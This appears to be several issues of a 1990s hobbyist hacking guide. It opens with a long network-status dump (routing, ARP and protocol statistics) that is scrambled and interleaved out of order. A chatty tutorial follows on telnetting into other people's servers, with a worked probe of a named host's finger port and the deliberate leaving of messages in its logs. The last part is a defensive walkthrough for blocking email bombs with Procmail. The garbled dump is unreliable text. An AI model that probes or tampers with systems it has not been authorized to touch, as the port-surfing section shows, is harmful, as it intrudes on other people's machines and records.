ENSS365.Gateway 0 6345 se0 1500 204.H 0 1134 se0 1500 206.68 LAWRII.NM.Gateway.Gateway 0 18011 se0 1500 192.70 LAWRII.121.NM.57.65.157.H 0 3052 se0 1500 206.Gateway.132.255.H 0 17 se0 1006 205.Gateway 0 3185 se0 1500 207.Gateway.H 0 3 se0 1500 128.111.ORG Up.ORG Up.0 LAWRII.ORG Up.81 ENSS365.NM.188.ORG Up.24.ORG Up.170.ORG Up.216.49.Gateway 0 1294 se0 1500 192.92.ORG Up.NM.33 ENSS365.148.135 GLORY.H 0 14 se0 1500 204.59.13 GLORY.H 0 11362 se0 1500 203.206.134.246.NM.134.24.NM.ORG Up.10 ENSS365.7 GLORY.7.13.10 LAWRII.H 0 1825 se0 1500 199.Gateway 0 334 se0 1500 204.Gateway 0 604 se0 1500 207.NM.Gateway.45.ORG Up.166.Gateway 0 53 se0 1500 204.253.248.H 0 547 se0 1500 204.H 0 315 se0 1500 198.ORG Up.Gateway.ORG Up.Gateway.149.ORG Up.ORG Up.206.212.H 0 249 se0 1500 129.NM.136 LAWRII.219.168.68.179.Gateway 0 1978 se0 1500 204.NM.ORG Up.ORG Up.NM.ORG Up.14 GLORY.ORG Up.Gateway.100 ENSS365.135 GLORY.ORG Up.H 0 69 se0 1500 198.NM.NM.NM.ORG Up.134.NM.242 ENSS365.ORG Up.ORG Up.52.Gateway.78 GLORY.NM.80 PENNY.66.Gateway 0 2 se0 1500 204.2 GLORY.NM.NM.7.Gateway 0 5 se0 1500 206.ORG Up.3.ORG Up.206.1.6 ENSS365.18 ENSS365.NM.222 ENSS365.74.NM.Gateway.Gateway 0 1293 se0 1500 204.242 ENSS365.Gateway.75 LAWRII.148.NM.Gateway.ORG Up.NM.H 0 1122 se0 1500 203.28.66.128.NM.NM.21 ENSS365.NM.ORG Up.9 GLORY.224.Gateway 0 4663 se0 1500 .NM.134.ORG Up.NM.Gateway.138.7 ENSS365.238.NM.206.106 ENSS365.ORG Up.Gateway 0 163 se0 1500 206.Gateway.188.9 ENSS365.134.NM.ORG Up.64.ORG Up.ORG Up.Gateway 0 54 se0 1500 204.ORG Up.ORG Up.ORG Up.Gateway.ORG Up.Gateway 0 117 se0 1500 206.ORG Up.Gateway.134.

Gateway 0 1756 se0 1500 205.165 LAWRII.206.Gateway 0 303 se0 1500 192.NM.ORG Up.217 GLORY.ORG Up.88 LAWRII.Gateway 0 234 se0 1500 204.NM.Gateway 0 2337 se0 1500 204.Gateway 0 916 se0 1500 198.168 GLORY.231 GLORY.100 GLORY.134.NM.Gateway 0 3216 se0 1500 .ORG Up.1.Gateway 0 5316 se0 1500 160.134.ORG Up.NM.59.NM.NM.206.NM.NM.Gateway 0 274 se0 1500 206.ORG Up.44 GLORY.NM.NM.ORG Up.Gateway 0 497 se0 1500 192.ORG Up.NM.NM.104 GLORY.ORG Up.168 GLORY.59.ORG Up.ORG Up.ORG Up.88.134.Gateway 0 189 se0 1500 204.189.Gateway 0 41782 se0 1500 206.105 LAWRII.59.133.NM.165 GLORY.170 GLORY.219 GLORY.236 GLORY.161 LAWRII.97 PENNY.99.NM.24 GLORY.Gateway 0 14214 se0 1500 198.103 GLORY.158 LAWRII.NM.ORG Up.108 GLORY.ORG Up.NM.59.NM.147 LAWRII.ORG Up.Gateway 0 907 se0 1500 198.NM.ORG Up.ORG Up.Gateway 0 3530 se0 1500 204.ORG Up.159 LAWRII.226 GLORY.Gateway 0 19408 se0 1500 206.134.134.Gateway 0 5839 se0 1500 204.Gateway 0 3644 se0 1500 206.NM.NM.Gateway 0 2129 se0 1500 204.Gateway 0 3133 se0 1500 204.Gateway 0 508 se0 1500 206.206.ORG Up.167 GLORY.NM.Gateway 0 4826 se0 1500 206.Gateway 0 13995 se0 1500 198.ORG Up.ORG Up.Gateway 0 8 se0 1500 128.92 LAWRII.NM.Gateway 0 3 se0 1500 198.91 Up.ORG Up.206.84.Gateway 0 55 se0 1500 198.Gateway 0 422 se0 1500 204.Gateway 0 3649 se0 1500 204.ORG Up.96 GLORY.ORG Up.163 GLORY.Gateway 0 990 se0 1500 206.ORG Up.NM.166.134.NM.Gateway 0 1568 se0 1500 206.NM.92 LAWRII.80 GLORY.108 GLORY.ORG Up.211 GLORY.Gateway 0 167 se0 1500 206.NM.206.NM.Gateway 0 528 se0 1500 198.ORG Up.59.NM.Gateway 0 94 se0 1500 146.NM.ORG Up.ORG Up.NM.NM.134.134.ORG Up.206.ORG Up.NM.NM.42 GLORY.ORG Up.29.49.Gateway 0 29766 se0 1500 192.172 GLORY.NM.17 GLORY.NM.59.ORG Up.ORG Up.ORG Up.0 GLORY.ORG Up.206.132.NM.59.ORG Up.ORG Up.Gateway 0 24173 se0 1500 204.Gateway 0 3379 se0 1500 192.NM.134.166 LAWRII.Gateway 0 136 se0 1500 198.100 LAWRII.NM.NM.165.49.41 LAWRII.206.206.ORG Up.Gateway 0 2 se0 1500 198.134.NM.59.161 LAWRII.89 GLORY.Gateway 0 125 se0 1500 206.NM.41.134.99 PENNY.206.157 LAWRII.207.NM.102 GLORY.220 129.209 LAWRII.121.134.Gateway 0 1278 se0 1500 206.87 LAWRII.NM.93 GLORY.NM.59.ORG Up.ORG Up.Gateway 0 15851 se0 1500 198.NM.95 PENNY.NM.ORG Up.59.66.206.105 LAWRII.Gateway 0 93217 se0 1500 198.ORG Up.Gateway 0 140 se0 1500 192.ORG Up.ORG Up.0 PENNY.ORG Up.ORG Up.Gateway 0 1228 se0 1500 192.206.NM.230.ORG Up.206.234.84 PENNY.ORG Up.Gateway 0 7333 se0 1500 206.204.Gateway 0 3513 se0 1500 198.Gateway 0 91 se0 1500 198.Gateway 0 324 se0 1500 198.Gateway 0 635 se0 1500 204.NM.Gateway 0 3629 se0 1500 198.206.93 GLORY.Gateway 0 9063 se0 1500 206.82 GLORY.0 LAWRII.59.Gateway 0 1136 se0 1500 207.Gateway 0 5101 se0 1500 204.ORG Up.Gateway 0 10761 se0 1500 206.Gateway 0 155 se0 1500 192.NM.NM.ORG Up.NM.NM.ORG Up.169 GLORY.NM.134.176.ORG Up.NM.Gateway 0 1806 se0 1500 204.ORG Up.ORG Up.

56) 08:00:87:04:9F:42 Temporary CHAMA.110 204.NM.1) 08:00:5A:1D:52:0D Temporary .59.NM.Gateway 0 2473 se0 1500 Up.NM.Gateway 0 44 se0 1500 Up.NM.51.206.ORG LAWRII.NM.191 GLORY.121.119 206.ORG GLORY.182 206.Gateway 0 374 se0 1500 Up.ORG (IP 129.121 129.238 192.NM.Gateway 0 1356 se0 1500 Up.167.206.118 206.1.NM.134.123.ORG GLORY.NM.127 206.1.134.206.110 198.1.ORG LAWRII.ORG GLORY.121.NM.121.190 204.10) AA:00:04:00:5F:D0 Temporary ARRIBA.ORG LAWRII.51) 08:00:87:00:A1:D3 Temporary ENSS365.ORG (IP 129.206.ORG (IP 129.ORG SIENNA.Gateway 0 282 se0 1500 Up.ORG PENNY.Gateway 0 1630 se0 1500 Up.Gateway 0 1114 se0 1500 Up.206.173 198.176 206.Gateway 1 132886 se0 1500 Up.120.175.ORG GLORY.ORG GLORY.183 143.121.ORG GLORY.ORG (IP 129.1) 00:C0:05:01:2C:D2 Temporary NARANJO.ORG GLORY.173 198.Gateway 0 1797 se0 1500 Up.ORG (IP 129.254.134.179 198.179 198.134.ORG PENNY.126 206.175.184 205.Gateway 0 34416 se0 1500 Up.Gateway 0 1354 se0 1500 Up.206.206.121.ORG (IP 129.NM.NM.136.NM.--------GLORY.251.Gateway 0 37160 se0 1500 Up.Gateway 0 6227 se0 1500 Up.5) AA:00:04:00:D2:D0 Temporary LAWRII.3) 00:00:0C:51:EF:58 Temporary AVATAR.181 206.NM.0 204.---MultiNet ARP table: Host Network Address Ethernet Address Arp Flags ----------------------------------------------------------.NM.206.254.91) 00:C0:05:01:2C:D2 Temporary BRAVO.0 204.59.206.NM.Gateway 0 32 se0 1500 Up.206.251.NM.ORG (IP 129.ORG GLORY.121.1.NM.NM.Gateway 0 3423 se0 1500 Up.126 204.121.121.58 128.0 206.NM.NM.ORG Up.4) AA:00:04:00:61:D0 Temporary [UNKNOWN] (IP 129.Gateway 0 233359 se0 1500 Up.NM.NM.NM.121.NM.Gateway 0 13644 se0 1500 Up.Gateway 0 222 se0 1500 Up.NM.121.NM.Gateway 0 1007 se0 1500 Up.ORG GLORY.1.NM.ORG (IP 129.Gateway 0 42 se0 1500 Up.NM.6) AA:00:04:00:0B:D0 Temporary PENNY.Gateway 0 16 se0 1500 Up.ORG LAWRII.120 206.48 198.121.ORG GRANDE.Gateway 0 14 se0 1500 Up.ORG GLORY.59.----.NM.1.Gateway 0 123533 se0 1500 Up.ORG SIENNA.ORG LAWRII.1.134.14) 08:00:2B:BC:C1:A7 Temporary AZUL.1.ORG GLORY.Gateway 0 45621 se0 1500 Up.134.ORG GLORY.NM.NM.ORG (IP 129.NM.NM.121.ORG GLORY.NM.NM.121.Gateway 0 4202 se0 1500 Up.124 206.124 206.206.Gateway 0 497 se0 1500 Up.206.134.--------.NM.NM.NM.ORG LAWRII.115 206.ORG GLORY.1.8) AA:00:04:00:0C:D0 Temporary [UNKNOWN] (IP 129.NM.206.ORG GLORY.ORG GLORY.206.NM.ORG GLORY.Gateway 1 71 se0 1500 Up 12 21658599 se0 1500 Up.NM.Gateway 0 4059 se0 1500 Up.59 204.69.ORG GLORY.125 204.ORG GLORY.10) AA:00:04:00:5C:D0 Temporary [UNKNOWN] (IP 129.NM.ORG GLORY.190 206.NM.ORG (IP 129.Gateway 0 583 se0 1500 Up.121.NM.ORG GLORY.206.Gateway 0 195 se0 1500 Up.ORG LAWRII.Gateway 0 79 se0 1500 Up.122 204.Gateway 0 7707 se0 1500 Up.Gateway 0 3574 se0 1500 MultiNet IPX Routing tables: Destination Gateway Flags Refcnt Use Interface MTU ---------------------------.206.114 206.

NM.253.0 GRANDE.253.121.ORG 68422948 0 53492833 1 lo0 4136 127.10) 08:00:5A:47:4A:1D Temporary 00:C0:7B:5F:5F:80 Temporary 08:00:5A:47:4A:1D Temporary AA:00:04:00:4B:D0 Temporary MultiNet Network Interface statistics: Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Collis ---.[UNKNOWN] (IP 129.11) [UNKNOWN] (IP 129.0.121.----.121.2) [UNKNOWN] (IP 129.----.0 127.----.1 1188191 0 1188191 0 0 MultiNet Protocol statistics: 65264173 IP packets received 22 IP packets smaller than minimum size 6928 IP fragments received 4 IP fragments timed out 34 IP received for unreachable destinations 704140 ICMP error packets generated 9667 ICMP opcodes out of range 4170 Bad ICMP packet checksums 734363 ICMP responses 734363 ICMP "Echo" packets received 734363 ICMP "Echo Reply" packets sent 18339 ICMP "Echo Reply" packets received 704140 ICMP "Destination Unreachable" packets sent 451243 ICMP "Destination Unreachable" packets received 1488 ICMP "Source Quench" packets received 163911 ICMP "ReDirect" packets received 189732 ICMP "Time Exceeded" packets received 126966 TCP connections initiated 233998 TCP connections established 132611 TCP connections accepted 67972 TCP connections dropped 28182 embryonic TCP connections dropped 269399 TCP connections closed 10711838 TCP segments timed for RTT 10505140 TCP segments updated RTT 3927264 TCP delayed ACKs sent 666 TCP connections dropped due to retransmit timeouts 111040 TCP retransmit timeouts 3136 TCP persist timeouts 9 TCP persist connection drops 16850 TCP keepalive timeouts 1195 TCP keepalive probes sent 14392 TCP connections dropped due to keepalive timeouts 28842663 TCP packets sent 12714484 TCP data packets sent 1206060086 TCP data bytes sent 58321 TCP data packets retransmitted 22144036 TCP data bytes retransmitted 6802199 TCP ACK-only packets sent 1502 TCP window probes sent 483 TCP URG-only packets sent 8906175 TCP Window-Update-only packets sent 0 .-------------.121.0.NM.--.5) CONCHAS.-----se0 1500 129.1.----.------.0.121.254.ORG (IP 129.

1 buffer allocated to Timeout Callbacks. 226 Kbytes of allocated buffer address space (0% of maximum). 10 buffers allocated to Packet Headers. <slug> [68] -> Whoa! What was all that? What we did was telnet to port 15 -. .359509 TCP control packets sent 38675084 TCP packets received 28399363 TCP packets received in sequence 1929418386 TCP bytes received in sequence 25207 TCP packets with checksum errors 273374 TCP packets were duplicates 230525708 TCP bytes were duplicates 3748 TCP packets had some duplicate bytes 493214 TCP bytes were partial duplicates 2317156 TCP packets were out of order 3151204672 TCP bytes were out of order 1915 TCP packets had data after window 865443 TCP bytes were after window 5804 TCP packets for already closed connection 941 TCP packets were window probes 10847459 TCP packets had ACKs 222657 TCP packets had duplicate ACKs 1 TCP packet ACKed unsent data 1200274739 TCP bytes ACKed 141545 TCP packets had window updates 13 TCP segments dropped due to PAWS 4658158 TCP segments were predicted pure-ACKs 24033756 TCP segments were predicted pure-data 8087980 TCP PCB cache misses 305 Bad UDP header checksums 17 Bad UDP data length fields 23772272 UDP PCB cache misses MultiNet Buffer Statistics: 388 out of 608 buffers in use: 30 buffers allocated to Data. Connection closed by foreign host.the netstat port-. 2 buffers allocated to Network TTY Control Blocks. 2 buffers allocated to Socket Names and Addresses. 1 buffer allocated to Multicast Addresses. 48 buffers allocated to Kernel Fork-Processes. 11 CXBs borrowed from VMS device drivers 2 CXBs waiting to return to the VMS device drivers 162 Kbytes allocated to MultiNet buffers (44% in use).which on some computers runs a daemon that tells anybody who cares to drop in just about everything about the connection made by all the computers linked to the Internet through this computer. 6 buffers allocated to Memory Management. 66 buffers allocated to Socket Structures. 11 out of 43 page clusters in use. 2 buffers allocated to Interface Addresses. 57 buffers allocated to Protocol Control Blocks. 163 buffers allocated to Routing Table Entries.

org 79 Trying 129. The reason is that port 79 is.121. help ?Sorry..1.2 .nm.org 79 Trying 129.org. could not find "HELP" Connection closed by foreign host. But actually this is pretty fascinating. ? ?Sorry. number 79. So my lady friend wanted to try out another port.nm. man ?Sorry. <slug> [69] ->telnet grande.nm.2 .org. But instead we got connected and grande. I suggested the finger port. Now on may computers they don’t run the finger daemon at all. But if finger is shut down.nm.. could not find "MAN" Connection closed by foreign host.org is a very busy and important computer.121.org 79 Trying 129.So from this we learned two things: 1) Grande. <slug> [69] -> At first this looks like just a bunch of failed commands. Escape character is '^]'.nm.1.121.1.org.org 79 Trying 129. finger ?Sorry. Escape character is '^]'. So when she gave the command “finger” and grande. Escape character is '^]'.2 . supposed to run fingerd. Connected to grande.” we knew this port was not following IETF rules..nm. could not find "?" Connection closed by foreign host... under IETF rules.121. <slug> [69] ->telnet grande. .org was waiting for a command. and nothing else is running on port 79. Connected to grande. <slug> [69] ->telnet grande. we woudl get the answer: telnet: connect: Connection refused. Connected to grande.. This is because finger has so properties that can be used to gain total control of the computer that runs it.. could not find "FINGER" Connection closed by foreign host.nm. could not find "FINGER. Connected to grande. So she gave the command: <slug> [68] ->telnet grande.nm. Escape character is '^]'.nm.nm.nm. the finger daemon.org.org said ?Sorry. 2) Even a very busy and important computer can let the random port surfer come and play.2 .1..

how fast can you figure out this 11 systat Lots of info on users 13 daytime Time and date at computer’s location 15 netstat Tremendous info on networks but rarely used any 19 chargen Pours out a stream of ASCII characters. Oh. That’s an account with your ISP that lets you give Unix commands.Now the normal thing a port surfer does when running an unfmiliar daemon is to coax it into revealing what commands it uses. 3) If you get the response “connected to <hostname>.” then surf’s up! Following are some of my favorite ports. It is legal and harmless to pay them visits so long as you don’t figure out how to gain superuser status while playing with them. learn about Unix. please note that if you do too much port surfing from your shell account. So what did we do next? We decided to be good Internet citizens and also stay out of jail We decided we’d beter log off. dear. Port number Service Why it’s phun! 7 echo Whatever you type in. But even though these commands didn’t help us. it would have given us instructions. port surf’s up! If you want to surf.org is probably competent enough to scan the records of what commands are given by whom to his computer. So. 2) Give the command “telnet <hostname> <pot number>“ where <hostname> is the internet address of the computer you wnat to visit and <port number> is whatever looks phun to you.run Linux or some other kind of Unix on your PC and hook up to the Internet. I do believe she’s hooked on hacking. um. er. Especially on a port important enough to be running a mystery. non-IETF daemon. you may get kicked off your ISP.nm. Use ^C 21 ftp Transfers files 22 ssh secure shell login -. However. Hmmm. If it were a daemon that was meant for anybody and his brother to use. here’s the basics: 1) Get logged on to a shell account. that sounds good. Yeh.. So you may want to explain in advance that you are merely a harmless hacker looking to have a good time. your sysadmin may notice this in his or her shell log file. But there was one hack we decided to do first: leave our mark on the shell log file.. you. So everything we types while connected was saved on a log. “Help. If he or she is prejudiced against hacking . it could be a good way to meet cute sysadmins.. So my friend giggled with glee and left a few messages on port 79 before logging off. The shell log file keeps a record of all operating system commands made on a computer. the host repeats back to 9 discard Dev/null -. they did tell us that the daemon is probably something sensitive. Or -. The adminsitrator of an obviously important computer such as grande. used for ping one? .encrypted tunnel more to stop. But it didn’t help us.” “?” and “man” often work..

Contents of Volume 3: How to protect yourself from email bombs! How to map the Internet. Expect the unexpected! If you have a copy of Linux.org. you can get the list of all the IETF assignments of port numbers in the file /etc/services. That means that an Internet host may use other ports for these services. More than one service may also be assigned simultaneously to the same port.Gates@Microsoft. no password used! syslog Remote system logging -. cancels 443 shttp Another web server 512 biff Mail notification 513 rlogin Remote login who Remote who and uptime 514 shell Remote command. How to keep from getting kicked off IRC! How to Read Email Headers and Find Internet Hosts The Dread GTMHH on Cracking How to Be a Hero in Computer Lab ________________________________________ GUIDE TO (mostly) HARMLESS HACKING .how we bust hackers 520 route Routing information protocol ************************** Propeller head tip: Note that in most cases an Internet host will use these port number assignments for these services. This numbering system is voluntarily offered by the Internet Engineering Task Force (IETF).23 telnet Where you log in if you don’t use ssh:) 25 smpt Forge email from Bill. 37 time Time 39 rlp Resource location 43 whois Info on hosts and networks 53 domain Nameserver 70 gopher Out-of-date info hunter 79 finger Lots of info on users 80 http Web server 110 pop Incoming email 119 nntp Usenet news groups -.forge posts.

Carolyn Meinel. This only works. bombed. Email bombing can be bad news for two reasons. A host is a computer on the Internet. It also is used by lusers with a grudge. The email bomb is a common weapon of war against Internet hosts controlled by spammers and con artists.to flood every day into his victims’ email accounts. those are the two main reasons that email bombers make their attacks: to mess up people’s email and/or harm the ISPs they target.Vol. It also only works if your ISP agrees to help you out. One. because angry -. ahem. Now I’ve never gotten bombed into submission.the Christmas email bomber -. s*** out of luck. I could have been back on my feet in a hurry.” have made the news lately by arranging for 20 MB or more of email -. But if you are. *************************** Newbie note: routers are specialized computers that direct traffic. etc. President Bill Clinton and Speaker of the US House of Representatives Newt Gingrich. Besides. if the attack is coming from one or a few hosts. Or.tens of thousands of messages -. The simplest defense is for your ISP to block mail bombs at the router. But as you know from the fact that we got the Happy Hacker Digest out after the attack. I can just email all my correspondents and tell them where to reach me. We know.told the press that he had targeted the Happy Hacker list’s Supreme Commanderess. There are several ways that either your ISP or you can defeat these attacks. but I have gotten hacked badly and often enough that I once had to dump an ISP in disgust. an ISP may get a little too anxious over your hacking experiments. *************************** But what if the attack comes from many places on the Internet? That happened to me on Christmas day when angry johnny took credit for an email bombing attack that also hit a number of well-known US figures such as evangelist Billy Graham.) . the flood of messages ties up mail servers and chews up communications bandwidth. and by the fact that I kept answering my email. AKA the “Unamailer. Two. (I blush to find myself in such company. But that’s a pretty chicken way to handle email bombing. That way. like most of us on this list. But we aren’t.. News stories make it sound like email bombing victims are. So it’s a good idea to be prepared to jump accounts. there are ways to beat the email bombers. Maybe then they’ll forgive you if your shell log file gets to looking a little too exciting! My first line of defense is to use several on-line services. however. Now most of these are techniques for use by experts only. (Someone simultaneously attempted to email bomb the Happy Hacker list itself but no one has stepped forward to take credit for the attempt). a member of the Happy Hacker list says that the reason angry johnny didn’t email bomb all the accounts I most commonly use is because he persuaded johnny to just bomb one for publicity purposes. a newbie. Your ISP may just chicken out instead and close your account. But even if johnny had bombed all my favorite accounts. 3 Number 1 How to protect yourself from email bombs! ________________________________________ Email bombs! People like angry johnny. the victim can’t easily find any of their legitimate email in that giant garbage heap of spam. Of course. you may be able to win points with your ISP by emailing its technical help people with some of the information within this guide. whenever one account is getting hacked.

dream on. johnny had subscribed all these lists to my address cmeinel@swcp. So essentially every ISP somehow has to handle the email bomb problem.com. So all I had to do was go to the Highway Technologies Web site and configure my mail server to pipe email to another account. So if you are counting on getting every piece of email that people send you. But I figure. But I use my private domain. ************************** Newbie note: a mail server is a computer that handles email. One of the sysadmins at Southwest Cyberport told me that almost every day some luser email bombs one of their customers. That ISP.com accounts work the same way. exclusive. . and perhaps most important. nothing. I think it is a tad presumptuous for you to state that "as a professional courtesy I am _letting_ Lewis Koch get the full scoop. In fact. in fact. considering how commonplace email bombing is. why get obsessive over it? According to a study by a major paging company. Then I pipe all this from my nameserver at Highway Technologies to whatever account I find useful at the time.net> Subject: Question Carolyn: First. you were courteous enough to respond with information. How was angry johnny was able to get as much publicity as he did? You can get an idea from this letter from Lewis Koch.forward. Then his program went to another computer that handles email lists and subscribed his targets to all the lists it handled. No mail daemon warning that the message failed. etc." This was a story that was. which is based on total usage. Warning -. But this doesn’t solve my ISP’s problem.every technique we cover here -. it’s amazing that angry johnny got as much publicity as he did.com. And my swcp. ************************** *********************** Evil genius tip: You can quickly reroute email by creating a file in your shell account (you do have a shell account.com. And it’s a lot of crud. offers each user several accounts all for the same price. It is the one to which you hook your personal computer when you give it a command to upload or download your email. the journalist who broke the story (printed with his permission): From: Lewis Z Koch <lzkoch@mcs. don’t you? SHELL ACCOUNT! All good hackers should have a SHELL ACCOUNT!) named . I would have piped all that crud to dev/null and requested that my correspondents email to carolyn@techbroker. It just goes into a black hole. a significant percentage of email simply disappears. This file directs your email to another email account of your choice. I was able to fix my problem within a few minutes of discovery. techbroker. So I can create new email addresses as needed. They still have to deal with the bandwidth problem of all that crud flooding in.this technique -. Southwest Cyberport. *********************** If angry johnny had email bombed cmeinel@techbroker. when I called you to check if you had indeed been email bombed.will still cause you to lose some email. It’s a pretty flexible way of handling things.com. to receive email. and so on.The way angry johnny worked this attack was to set up a program that would go to one computer that runs a program to handle email lists and automatically subscribe his targets to all lists handled by that computer.

email bomber!" johnny made the point several times that the attack was "simple. bottom line is that the email bomber used a technique that is ridiculously lame -. There one finds "terrorism. This kind of thinking ignores history and reality. serious.whose faith I share -.but the protesters were making a point about an illegal and unnecessary war that even the prosecutors of the war. Continuing: "However. People were inconvenienced --. to the same kind of inconvenience people experienced when young people blocked the streets of major cities in protest against the war in Vietnam. Hundreds of thousands of people lost their lives in that war -. or the group that bombed the Trade Center. He used language such as "his campaign of terror. but deferred to Koch by not trying to beat him to the scoop.. real damage. Is Koch suggesting the Happy Hacker list -. 1996." "a petty gangster" to describe johnny.I say. too d*** bad. yes I am a subscriber and I am interested in the ideas you advance." What happened was an inconvenience --equivalent.:"lots of juicy details.at the peril of us all..and if some people found themselves inconvenienced by people protesting against it -.and evangelist Billy Graham -. (Carolyn’s note: If you wish to see what Koch wrote on angry johnny.. what are some more ways to fight email bombs? .(Carolyn’s note: as a victim I knew technical details about the attack that Koch didn’t know. They chose not to. I guess.) Second." "some microencephalic moron. Fry in dev/null.I know -.and something I carefully avoid. he clearly knew a great deal more than I about the list of johnny’s targets. others who are bystanders. Thank you for forwarding my remarks to your list Ahem.that if he.are of an Earth-shaking level of political bad newsness comparable to the Vietnam War? So let’s say you don’t feel that it is OK for any two-bit hacker wannabe to keep you from receiving email. 28. But since Koch tells me he was in contact with angry johnny in the weeks leading up to the mass email bombings of Christmas 1996.so lame that even Carolyn Meinel could turn off the attack in mere minutes. in my estimation. you may see it in the Happy Hacker Digest of Dec.vulnerabilities which are being ignored.) The fact is I am extraordinarily surprised by some of the reactions I have received from individuals." "psychos like 'johnny'." The details of any story lay in the writing and commentary I offer the public. But that interest does not extend to feeding you -. I’m flattered.. One person who was attacked and was angry with my report. some of whom were targets. or other hackers had chosen to do damage. "Juicy" is another word for sensationalism.with its habit of ***ing out naughty words -. like Robert McNamara knew from the beginning was a lost venture. I imagine -.or look to what has happened in Ireland or Israel.or single individual or group -." "the twisted mind of 'johnny'. or the Federal Building in Oklahoma City. If one wants to use a term such as "campaign of terror" they should check into the history of the Unabomber. I also am a journalist. they could easily do so. The whole point is that there are extraordinary vulnerabilities to and on the Net -." It was deliberately designed to be simple. a tabloid approach .

the Massmail and the Mailing List bomb: 1) Massmail-bombing. However.cis.] Lately. Write this down . this is the easier to defend against. it can be set up to sort the mail into different folders so that all the messages aren't all mixed up in your Inbox. since the messages will be coming from just a few addresses at the most. There are two types of email bombs. This is when an attacker sends you hundreds. Of the two types. or perhaps even thousands of pieces of email. the attacker will subscribe you to as many mailing lists as he or she can. or 'whereis'.ohio-state. I would like to thank Nancy McGough for letting me quote liberally from her Filtering Mail FAQ. These programs then automatically compose unsubscribe messages and send them out. there are more and more people out there sending you email that you just don't want. From the prompt. and if you have any problems with my directions or want to learn more about filtering mail. If you still cannot find Procmail.html. like for example. 'where'. Zach! ******************************* Defending Against Email-Bombing and Unwanted Mail Copyright (C) Zach Babayco. then it is probably a good bet that your system does not have it installed. like "Make Money Fast!" garbage or lame ezines that you never requested or wanted in the first place.For bombings using email lists. Zach Babayco (zachb@netcom. usually by means of a script and fakemail. Procmail (pronounced prok-mail) is a email filtering program that can do some very neat things with your mail. This is where Procmail comes in.you will need it later.look at the FAQ I mentioned at the beginning of this file and see if your system has any of the programs that it talks about. if you subscribe to several high-volume mailing lists. you're not completely out of luck .com) has provided the following article. For details. one approach is to run a program that sorts through the initial flood of the email bomb for those “Welcome to the Tomato Twaddler List!” messages which tell how to unsubscribe. In this case. type: > which procmail If your system has Procmail installed. you need to see if your system has Procmail installed. Another way your ISP can help you is to provide a program called Procmail (which runs on the Unix operating system. this command will tell you where Procmail is located. 2) Mailing List bombs. Worse. available at http://www. This is one of the best filtering-mail FAQs out there. This is much worse than a massmail because you will be getting email from many different mailing lists. *NOTE* If your system gives you a response like "Unknown command: which" then try substituting 'which' with 'type'. Setting up Procmail ------------------First. and will have to save some of it so that you can figure out how to unsubscribe from each list. this is where you should look. there is the email bomb. Thank you. Procmail can also be configured to delete email from certain people and addresses. 1996 [Before I start this article.edu/hypertext/faq/usenet/mail/filteringfaq/faq. .

The first line tells Procmail that this is the beginning of a "recipe" file. . Make sure that when you edit it. third. Set it to on when # you are debugging. deleting it. With Pico. it performs an action on the message .ebomb: IMPORTANT: Be sure that you turn off your editor's word wrapping during this part.ebomb (yes. you have to set up a resource file for Procmail.*[^.email bomb blocker :0 * ! ^((((Resent-)?(From|Sender)|X-Envelope-From):|From )(. > cd > pico .procmailrc Enter the following in the . and then start up your editor. putting it in a certain folder. You will need to have the second.*(postmaster|Mailer|listproc|majordomo|listserv|cmeinel|johnb) * ! ^TO(netstuff|computing|pcgames) /dev/null Lets see what these do. you leave NO SPACES in that line.it tells the program what it should look for in each email message.%@a-z0-9])? (Post(ma?(st(e?r)?|n)|office)|Mail(er)?|daemon|mmdf|root|uucp|LISTSERV|owner |request|bounce|serv(ices?|er))([^. or in this case. and if it finds what it is looking for.procmailrc file: # This line tells Procmail what to put in its log file.Next. save it and go back up to your home directory. Consult your editor's manual page for instructions on turning off its word wrapping. VERBOSE=off # Replace 'mail' with your mail directory. Make sure that you are in your home directory.procmail Now go into the directory that you just made. use the -w flag.procmail LOGFILE=$PMDIR/log # INCLUDERC=$PMDIR/rc. and start your editor up with a new file: rc. > cd > mkdir .!:a-z0-9]|$))) * ! ^From:. I will use the editor Pico.noebomb # noebomb .procmail > pico -w rc. For the rest of this document. You may use whichever editor you feel comfortable with. and fourth lines of this next example all on one line. type the INCLUDERC line WITH the #) Now that you've typed this in. A recipe it basically what it sounds like -. > cd .forwarding it to someone. MAILDIR=$HOME/mail # This is where the logfile and rc files will be kept PMDIR=$HOME/.

The second, third, and fourth lines (the ones beginning with a *)are called CONDITIONS. The asterisk (*) tells Procmail that this is the beginning of a condition. The ! tells it to do the OPPOSITE of what it would normally do. Condition 1: * ! ^((((Resent-)?(From|Sender)|X-Envelope-From):|From )(.*[^.%@a-z0-9])? (Post(ma?(st(e?r)?|n)|office)|Mail(er)?|daemon|mmdf|root|uucp|LISTSERV|owner |request|bounce|serv(ices?|er))([^.!:a-z0-9]|$))) Don't freak out over this, it is simpler than it seems at first glance. This condition tells Procmail to look at the header of a message, and see if it is from one of the administrative addresses like root or postmaster, and also check to see if it is from a mailer-daemon (the thing that sends you mail when you bounce a message). If a message IS from one of those addresses, the recipe will put the message into your inbox and not delete it. Advanced User Note: Those of you who are familiar with Procmail are probably wondering why I require the user to type in that whole long line of commands, instead of using the FROM_MAILER command. Well, it looked like a good idea at first, but I just found out a few days ago that FROM_MAILER also checks the Precedence: header for the words junk, bulk, and list. Many (if not all) mailing-list servers have either Precedence: bulk or Precedence: list, so if someone subscribes you to several hundred lists, FROM_MAILER would let most of the messages through, which is NOT what we want. Condition 2: * ! ^From:.*(listproc|majordomo|cmeinel|johnb) This condition does some more checking of the From: line in the header. In this example, it checks for the words listproc, majordomo, cmeinel, and johnb. If it is from any of those people, it gets passed on to your Inbox. If not, it's a goner. This is where you would put the usernames of people who normally email you, and also the usernames of mailing-list servers, such as listproc and majordomo. When editing this line, remember to: only put the username in the condition, not a persons full email address, and remember to put a | between each name. Condition 3: * ! ^TO(netnews|crypto-stuff|pcgames) This final condition is where you would put the usernames of the mailing lists that you are subscribed to (if any). For example, I am subscribed to the netnews, crypto-stuff, and pcgames lists. When you get a message from most mailing lists, most of the time the list address will be in the To: or Cc: part of the header, rather than the From: part. This line will check for those usernames and pass them through to your Inbox if they match. Editing instructions are the same as the ones for Condition 2. The final line, /dev/null, is essentially the trash can of your system. If a piece of email does not match any of the conditions, (i.e. it isn't from a mail administrator, it isn't from a listserver or someone you write to, and it's not a message from one of your usual mailing lists) Procmail dumps the message into /dev/null, never to be seen again. Ok. Now you should have created two files: .procmailrc and rc.noebomb. We need one more before everything will work properly. Save rc.noebomb and exit your editor, and go to your home directory. Once there, start your editor up with the no word wrapping command. > cd > pico -w .forward

